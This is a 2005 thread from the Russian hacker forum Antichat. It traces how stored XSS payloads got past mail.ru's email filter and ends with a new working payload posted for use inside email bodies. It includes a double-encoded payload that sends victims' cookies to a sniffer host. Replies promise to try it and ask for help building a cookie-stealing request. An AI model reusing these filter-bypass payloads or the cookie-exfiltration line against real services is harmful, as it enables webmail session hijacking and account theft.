Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   Активная XSS на mail.ru (https://forum.antichat.xyz/showthread.php?t=11318)

Dronga 04.12.2005 09:49

Активная XSS на mail.ru
 
Заранее прошу прощения у модераторов за дублирование темы, просто на мой взгляд в этом разделе следует выкладывать _готовые_ уязвимости, а не задавать вопросы по их поиску.

Антология XSS на mail.ru

Не знаю, может кому пригодится, но эволюция фильтра на mail.ru протекала следующим образом. На момент моей регистрации на античате перестала действовать фишка.
PHP код:

<image src=JaVaScRiPt:alert()> 

Все были очень удивлены :p Эта бага держалась очень долго...
Следущая ошибка была найдена мной, помог мне Майор, она работала под IE, а я тестил под Оперой) Майор проверил под IE, я ему сперва даже не поверил) Брался fail.txt, в нем в наглую прописывалось:
PHP код:

<script>alert()</script

и всё это дело переименовывалось в fail.jpg. Но эту филонку сравнительно быстро прекрыли...

Следующим шагом стал пост уже не помню кого... =) Если напомните, то будет хорошо) XSS проходила благодаря двойному кодированию в ASCII слова javascript. При этом этаже бага была одновременно актуальна и для yandex.ru =) Выглядело это так:
PHP код:

 <img src="http://server.com/picture.jpg" dynsrc="&#38&#35&#49&#48&#54&#38&#35&#57&#55&#38&#35&#49&#49&#56&#38&#35&#57&#55&#38&#35&#49&#49&#53&#38&#35&#57&#57&#38&#35&#49&#49&#52&#38&#35&#49&#48&#53&#38&#35&#49&#49&#50&#38&#35&#49&#49&#54:document.images[0].src='http://sniffer.com/sniff.php?cook='+document.cookie"

К сожалению, всё что ушло в большой паблик долго не живет =)

И тут снова Майор, умнейший человек) Я долго ругался когда он мне одному из первых поведал о собственном открытии) Всё было просто и изящно... Чтобы закрыть предыдущую багу, фильтр на Mail.ru стал до бесконечности раскодировать то что закодировано в ASCII... Тогда Майор половину слова javascript закодировал в ASCII и отдельно ещё раз зашифровал каждый символ &. А другую половину поставил через знак табуляции... И фильтр терялся... Выглядело это так:
PHP код:

<bgsound src="&#38#106&#38#97&#38#118&#38#97&#38#115&#38#99&#38#114    ipt:alert()" loop=5

Но и эта уязвимость будучи выложенной долго не продержалась. И вот эта тема коснулась меня) Всю ночь убил на поиски, эксперименты... Мозги уже не варят. XSS выглядит следующим образом:
PHP код:

<font color="green>"style="font-size:1px;background:url\(java/**/script:alert('XSS by Dronga'))"

Вот) Активная, в теле письма... Конечно она ещё сыровата, но общая конструкция видна. В таком виде работает вроде только под ИЕ, сколько не пытался под оперу заточить - бесполезно... Кто будет пробовать - советую поиграть с символами " и `. Что-то типа вот так: color=`green"style

Конечно, может кто-то что-то и покруче нашел, что для всех браузеров применимо, но что я нашел тем и поделился.

PS. Не забываем о приватности раздела и доверии друг другу.

byte57 04.12.2005 10:26

респект, проверим седня

grinay 04.12.2005 10:34

Молоток плюсик те:)

TANZWUT 04.12.2005 11:20

сейчас потестим:):):)

m0nzt3r 04.12.2005 11:49

ну вот=) в МОА только достойнейшие=)

qBiN 04.12.2005 11:52

Цитата:

Если напомните, то будет хорошо)
По мойму дело рук Майора, или ЛиттлЛамера что-то не припомню...
А плюс щас поставим...

kot777 04.12.2005 12:16

Странно, у меня не работает, последние скобки заменяются на подмигивающий смайл.
Добавлено:
Точно про разметку забыл, гост спасибо

byte57 04.12.2005 12:24

каким браузером тестил? хотя скорее всего ты разметку <html></html> не делал, да?

Dronga 04.12.2005 15:20

Ребята, всё работает, заходим в раздел E-mail->FAQ, скачиваем програмку XSSTester от LittleLamer, удаляем всё что там забито по дефолту и вставляем мой вариант, ничего не дописываем (никаких <html></html> не надо, их фильтр нещадно режет, вставляем одну единственную строчку - саму XSS). Забиваем информацию для отправки и отправляем. Идем проверяем, ещё раз напоминаю что актуально в таком виде только для IE (у меня IE6 SP2).

kot777 04.12.2005 15:49

Кто-нибудь сформировал запрос, уже со сниффером, просто у меня не получается правильную структуру сделать.


Время: 02:05